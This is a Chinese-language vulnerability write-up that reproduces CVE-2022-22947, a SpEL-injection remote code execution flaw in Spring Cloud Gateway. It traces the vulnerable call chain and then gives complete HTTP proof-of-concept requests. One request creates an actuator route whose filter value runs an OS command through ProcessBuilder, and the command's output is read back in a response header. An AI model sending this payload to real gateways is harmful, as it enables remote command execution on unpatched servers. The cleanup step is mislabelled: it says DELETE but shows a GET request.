­

CVE-2022-22947 Spring Cloud Gateway SPEL RCE復現

0 環境搭建

影響範圍:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway < 3.0.7

p牛的vulhub已經搭好docker了,//github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

也可以本地搭建

git clone //github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然後idea打開項目,再調試或啟動

1 漏洞觸發點

首先找到spring-cloud-gateway的commit記錄,看看修改的地方,直接來到//github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

如下:

非常標準的spel表達式使用,代碼在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其調用位置

三個枚舉調用都位於ShortcutConfigurable內部的枚舉類ShortcutType中,且重寫了不同的normalize方法,繼續向上找ShortcutType#normalize方法的調用

最終都來到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,並且傳入的時該類的properties成員變量,而normalizeProperties()方法的調用只出現在該類的父類AbstractBuilder.bind()中

繼續向上尋找bind方法的調用

發現org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不僅出現了bind方法調用,還出現了properties方法調用,跟進該properties方法可見對properties成員變量的設置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下調用spel表達式時恰好需要的properties成員變量。

由此即可知道該漏洞的觸發可能來自於gatewayFilter的添加,並且從loadGatewayFilters方法繼續向上跟蹤調用如下:

RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到確實來自於filter的添加。

所以思路可以出來,由於添加filter時輸入了spel表達式,被當作properties進行解析,最終導致惡意表達式被執行,從而實現rce。

再從spring cloud gateway的文檔進行查看

文檔的11.5中提到,使用POST請求/gateway/routes/id 並使用json格式的數據,可以創建一個route,並且從前面的格式中也可以看到,支持添加filter。

但沒有給出filters字段中具體應該怎麼寫,但沒關係,我們從源代碼可以找到

org.springframework.cloud.gateway.filter.FilterDefinition這個filter的定義類中,其成員變量如下

運行程序後,再mappings裏面可以看到/routes/{id}這個uri對應的方法

跟進該方法可以看到對filter給進的name有驗證

調試模型下可以看到允許的name如下

這裡的每種name,實際上又對應了不同的GatewayFilterFactory

其中有個AddResponseHeaderGatewayFilterFactory可以向response hedder中寫入執行結果,因此恰好滿足回顯要求

根據這裡的getName和getValue可以知道還需要添加name和value字段

2 構建poc

根據前面的信息,可以逐步匯總出poc的樣子,

  • 首先是POST /actuator/gateway/routes/{id}
  • 然後添加json body,其中需要給出id和filters字段
  • 其中filters字段需要給出name和args,而name的值需要設置為AddResponseHeader獲得回顯,args中需要name和value

最終poc如下

  • post請求創建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result=",
      "value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
    }
  }],
   "uri": "//test.com"
}

  • POST請求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


由於前面使用的spel是ping百度的,所以需要等待一會,也可以換成其它命令,比如dir、ipconfig、whoami等

  • GET請求/actuator/gateway/routes/test,觸發spel,並得到回顯
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的輸出

  • DELETE請求刪除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 總結

昨天在twitter上看到了這個rce,沒有太注意,昨天晚上看到通報,感覺這個洞還是有價值的,想着今天來複現應該差不多,結果P牛昨天就把docker上傳到vulhub了,y4er師傅也寫出了分析文章,跟不上啊= =

p牛和y4er師傅用的是spring自帶的類處理命令執行的返回位元組流,我用的是之前找到的jdk自帶方法,其實都差不多

參考

//github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947

//y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/